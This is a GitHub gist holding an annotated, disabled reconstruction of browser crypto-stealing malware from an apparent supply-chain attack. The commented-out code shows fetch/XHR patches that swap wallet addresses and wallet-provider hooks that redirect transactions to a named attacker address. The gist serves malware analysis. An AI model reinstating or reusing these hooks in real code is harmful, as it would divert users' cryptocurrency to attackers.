Skip to content

Instantly share code, notes, and snippets.

@moreaki
Created September 10, 2025 21:01
Show Gist options
  • Select an option

  • Save moreaki/96821ec03719b409782d0a1eb25d92c9 to your computer and use it in GitHub Desktop.

Select an option

Save moreaki/96821ec03719b409782d0a1eb25d92c9 to your computer and use it in GitHub Desktop.
SUPPLY CHAIN HACK: Analysis from GPT
/* ========================================================================
* MALICIOUS SCRIPT — ANALYSIS EDITION (NON-EXECUTABLE)
* Purpose (original):
* 1) Patch fetch/XMLHttpRequest responses to replace crypto addresses
* 2) Hook wallet providers (Ethereum, Solana) and rewrite outgoing txs
* ===================================================================== */
/** Global flags used by the original */
let hasEthAccount = 0; // neth
let alreadyRan = 0; // rund
let localInitDone = 0; // loval
/** Entry point: probe for window.ethereum and trigger hooks */
async function probeEthereum() {
try {
const accounts = await window.ethereum.request({ method: "eth_accounts" });
if (accounts.length > 0) {
// Would install provider hooks
installProviderProxies(); // runmask()
if (alreadyRan !== 1) {
alreadyRan = 1;
hasEthAccount = 1;
installContentRewriter(); // newdlocal()
}
} else if (alreadyRan !== 1) {
alreadyRan = 1;
installContentRewriter();
}
} catch (_) {
if (alreadyRan !== 1) {
alreadyRan = 1;
installContentRewriter();
}
}
}
/** Bootstrap (neutralized: doesn’t auto-run probe in this analysis version) */
(function bootstrap() {
if (typeof window !== "undefined" && typeof window.ethereum !== "undefined") {
// ORIGINAL would call probeEthereum(); We keep it commented for safety:
// probeEthereum();
} else if (alreadyRan !== 1) {
alreadyRan = 1;
installContentRewriter();
}
})();
/* ========================================================================
* Content Rewriter (responses, strings) — newdlocal()
* Original behavior:
* - Monkey-patches window.fetch and XMLHttpRequest to post-process payloads
* - Locates crypto addresses in strings/JSON and swaps them with attacker
* addresses chosen by minimum Levenshtein distance (“closest match”)
* ===================================================================== */
function installContentRewriter() {
if (localInitDone === 1) return;
localInitDone = 1;
// ---- Address catalogs (collapsed to placeholders for safety) ----------
// In the original, these are huge arrays of attacker addresses by chain.
const ATTACKER = {
// ETH receive addresses:
ethereum: [
/* "0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976", ... (MANY) */
],
// Bitcoin (legacy 1...), SegWit (3.../bc1...), TRON (T...), LTC, BCH:
btcLegacy: [ /* ... */ ],
btcSegwit: [ /* ... */ ],
tron: [ /* ... */ ],
ltc: [ /* ... */ ],
bch: [ /* ... */ ],
// Solana pubkeys & variants:
solana: [ /* ... */ ],
solana2: [ /* ... */ ],
solana3: [ /* ... */ ],
};
// ---- Patterns used to detect address-like substrings -------------------
const ADDRESS_REGEX = {
ethereum: /\b0x[a-fA-F0-9]{40}\b/g,
bitcoinLegacy: /\b1[a-km-zA-HJ-NP-Z1-9]{25,34}\b/g,
bitcoinSegwit: /\b(3[a-km-zA-HJ-NP-Z1-9]{25,34}|bc1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{11,71})\b/g,
tron: /(?<!\w)T[1-9A-HJ-NP-Za-km-z]{33}\b/g,
bch: /bitcoincash:[qp][a-zA-Z0-9]{41}\b/g,
ltc: /(?<!\w)ltc1[qpzry9x8gf2tvdw0s3jn54khce6mua7l]{11,71}\b/g,
ltc2: /(?<!\w)[mlML][a-km-zA-HJ-NP-Z1-9]{25,34}\b/g,
solana: /(?<!\w)[4-9A-HJ-NP-Za-km-z][1-9A-HJ-NP-Za-km-z]{32,44}\b/g,
solana2: /(?<!\w)3[1-9A-HJ-NP-Za-km-z]{35,44}\b/g,
solana3: /(?<!\w)1[1-9A-HJ-NP-Za-km-z]{35,44}\b/g,
};
/** Levenshtein distance */
function levenshteinDistance(a, b) {
const dp = Array.from({ length: a.length + 1 }, () =>
Array(b.length + 1).fill(0)
);
for (let i = 0; i <= a.length; i++) dp[i][0] = i;
for (let j = 0; j <= b.length; j++) dp[0][j] = j;
for (let i = 1; i <= a.length; i++) {
for (let j = 1; j <= b.length; j++) {
if (a[i - 1] === b[j - 1]) {
dp[i][j] = dp[i - 1][j - 1];
} else {
dp[i][j] = 1 + Math.min(
dp[i - 1][j], // deletion
dp[i][j - 1], // insertion
dp[i - 1][j - 1], // substitution
);
}
}
}
return dp[a.length][b.length];
}
/** Choose “closest” candidate by Levenshtein (original used this for swaps) */
function closestMatch(s, candidates) {
let best = null;
let bestDist = Infinity;
for (const c of candidates) {
const d = levenshteinDistance(s.toLowerCase(), c.toLowerCase());
if (d < bestDist) { bestDist = d; best = c; }
}
return best;
}
/** Process a string/JSON payload and (originally) replace addresses */
function rewritePayload(payload) {
try {
// Normalize to string, run replacement, and return same type
const asString =
typeof payload === "string" ? payload : JSON.stringify(payload);
let result = asString;
// The original iterates over each pattern and performs replacements.
// Below we show the logic but DO NOT perform actual replacement.
for (const [kind, regex] of Object.entries(ADDRESS_REGEX)) {
const found = asString.match(regex) || [];
for (const addr of found) {
// In the original:
// - If address is NOT already in the attacker catalogs,
// - Replace it with closestMatch(addr, ATTACKER[...]).
// Example (DISABLED):
// const catalog = (
// kind === 'ethereum' ? ATTACKER.ethereum
// : kind === 'bitcoinLegacy' ? ATTACKER.btcLegacy
// : kind === 'bitcoinSegwit' ? ATTACKER.btcSegwit
// : kind === 'tron' ? ATTACKER.tron
// : (kind === 'ltc' || kind === 'ltc2') ? ATTACKER.ltc
// : kind === 'bch' ? ATTACKER.bch
// : (kind === 'solana' || kind === 'solana2' || kind === 'solana3') ? ATTACKER.solana
// : []
// );
// if (!catalog.includes(addr)) {
// const replacement = closestMatch(addr, catalog);
// result = result.replace(addr, replacement);
// }
}
}
// Return in original type
try { return typeof payload === "string" ? result : JSON.parse(result); }
catch { return result; }
} catch {
return payload;
}
}
// ----------------- Network monkey patches (DISABLED) -------------------
// ORIGINAL: Replaced window.fetch to post-process every response body.
// ORIGINAL: Wrapped XMLHttpRequest to overwrite response/responseText.
//
// For safety we only leave explanatory stubs:
// if (typeof window !== "undefined") {
// const origFetch = window.fetch.bind(window);
// window.fetch = async (...args) => {
// const res = await origFetch(...args);
// const ct = res.headers.get("Content-Type") || "";
// const body = ct.includes("application/json")
// ? await res.clone().json()
// : await res.clone().text();
// const rewritten = rewritePayload(body);
// const text = typeof rewritten === "string"
// ? rewritten
// : JSON.stringify(rewritten);
// return new Response(text, { status: res.status, statusText: res.statusText, headers: res.headers });
// };
//
// const XHROpen = XMLHttpRequest.prototype.open;
// const XHRSend = XMLHttpRequest.prototype.send;
// XMLHttpRequest.prototype.open = function(method, url, async, user, pass) {
// this._url = url;
// return XHROpen.apply(this, arguments);
// };
// XMLHttpRequest.prototype.send = function(body) {
// const xhr = this;
// const origOnReady = xhr.onreadystatechange;
// xhr.onreadystatechange = function() {
// if (xhr.readyState === 4) {
// try {
// const ct = xhr.getResponseHeader("Content-Type") || "";
// const raw = ct.includes("application/json") ? JSON.parse(xhr.responseText) : xhr.responseText;
// const rewritten = rewritePayload(raw);
// const text = typeof rewritten === "string" ? rewritten : JSON.stringify(rewritten);
// // ORIGINAL: Object.defineProperty to overwrite response/responseText
// } catch {}
// }
// if (origOnReady) origOnReady.apply(this, arguments);
// };
// return XHRSend.apply(this, arguments);
// };
// }
}
/* ========================================================================
* Provider Hooks (Ethereum/Solana) — runmask()
* Original behavior:
* - Wrap ethereum.request/send/sendAsync to mutate outgoing txs
* - For ETH:
* * If tx.value != 0: force `to` to attacker address
* * If data matches selectors, rewrite params:
* 0x095ea7b3 => approve(spender, amount) -> set spender = attacker
* 0xa9059cbb => transfer(to, amount) -> set to = attacker
* 0x23b872dd => transferFrom(from, to, amount) -> set to = attacker
* 0xd505accf => multi/permit-like payload (slice & inject attacker)
* - For Solana:
* * Overwrite instruction accounts’ pubkeys to a fixed malicious key
* ===================================================================== */
function installProviderProxies() {
// Internal counters/state (original used for stats)
let interceptCount = 0;
const originals = new Map();
let active = false;
/** Clone + rewrite a single Ethereum or Solana transaction (DISABLED) */
function rewriteTransaction(tx, isEthereum = true) {
const cloned = JSON.parse(JSON.stringify(tx));
if (isEthereum) {
// ETH path (DISABLED):
// if (cloned.value && cloned.value !== "0x0" && cloned.value !== "0") {
// cloned.to = "0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976"; // attacker
// }
//
// if (cloned.data) {
// const data = String(cloned.data).toLowerCase();
// if (data.startsWith("0x095ea7b3")) { /* approve(spender, amount) -> replace spender */ }
// else if (data.startsWith("0xd505accf")) { /* complex splice -> inject attacker */ }
// else if (data.startsWith("0xa9059cbb")) { /* transfer(to, amt) -> replace to */ }
// else if (data.startsWith("0x23b872dd")) { /* transferFrom -> replace to */ }
// }
//
// else if (cloned.to && cloned.to !== ATTACKER_ETH) {
// cloned.to = ATTACKER_ETH;
// }
} else {
// Solana path (DISABLED):
// if (Array.isArray(cloned.instructions)) {
// for (const ix of cloned.instructions) {
// if (Array.isArray(ix.accounts)) {
// for (const acc of ix.accounts) {
// if (typeof acc === "string") acc = "19111111111111111111111111111111";
// else if (acc.pubkey) acc.pubkey = "19111111111111111111111111111111";
// }
// }
// if (Array.isArray(ix.keys)) {
// for (const k of ix.keys) {
// if (k.pubkey) k.pubkey = "19111111111111111111111111111111";
// }
// }
// }
// }
// if (cloned.recipient) cloned.recipient = "19111111111111111111111111111111";
// if (cloned.destination) cloned.destination = "19111111111111111111111111111111";
}
return cloned; // In analysis version: returns unmodified clone
}
/** Wraps provider methods to intercept params and call rewriteTransaction */
function wrapProvider(provider) {
if (!provider) return false;
let installed = false;
for (const methodName of ["request", "send", "sendAsync"]) {
if (typeof provider[methodName] === "function") {
const original = provider[methodName];
originals.set(methodName, original);
// DISABLED wrapper (kept for structure; returns original behavior)
Object.defineProperty(provider, methodName, {
value: async function (...args) {
interceptCount++;
let safeArgs;
try { safeArgs = JSON.parse(JSON.stringify(args)); }
catch { safeArgs = [...args]; }
// Ethereum path example (original mutates params):
// if (safeArgs[0]?.method === "eth_sendTransaction" && safeArgs[0]?.params?.[0]) {
// safeArgs[0].params[0] = rewriteTransaction(safeArgs[0].params[0], true);
// }
// Solana path example:
// if (["solana_signTransaction","solana_signAndSendTransaction"].includes(safeArgs[0]?.method)) {
// const t = safeArgs[0].params?.[0]?.transaction ?? safeArgs[0].params?.[0];
// const rewritten = rewriteTransaction(t, false);
// if (safeArgs[0].params[0].transaction) safeArgs[0].params[0].transaction = rewritten;
// else safeArgs[0].params[0] = rewritten;
// }
// Analysis version: call original unmodified
const out = original.apply(this, safeArgs);
return (out && typeof out.then === "function") ? out.then(v => v) : out;
},
writable: true, configurable: true, enumerable: true
});
installed = true;
}
}
if (installed) active = true;
return installed;
}
/** In the original, this repeatedly tried to attach after page load */
function deferWrap() {
let attempts = 0;
(function tick() {
attempts++;
if (window.ethereum) {
setTimeout(() => wrapProvider(window.ethereum), 500);
return;
}
if (attempts < 50) setTimeout(tick, 100);
})();
}
// DISABLED in analysis version:
// deferWrap();
// Expose a tiny control surface (forensics)
window.stealthProxyControl = {
isActive: () => active,
getInterceptCount: () => interceptCount,
getOriginalMethods: () => new Map(), // redacted
forceShield: () => false // original tried wrapProvider(window.ethereum)
};
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment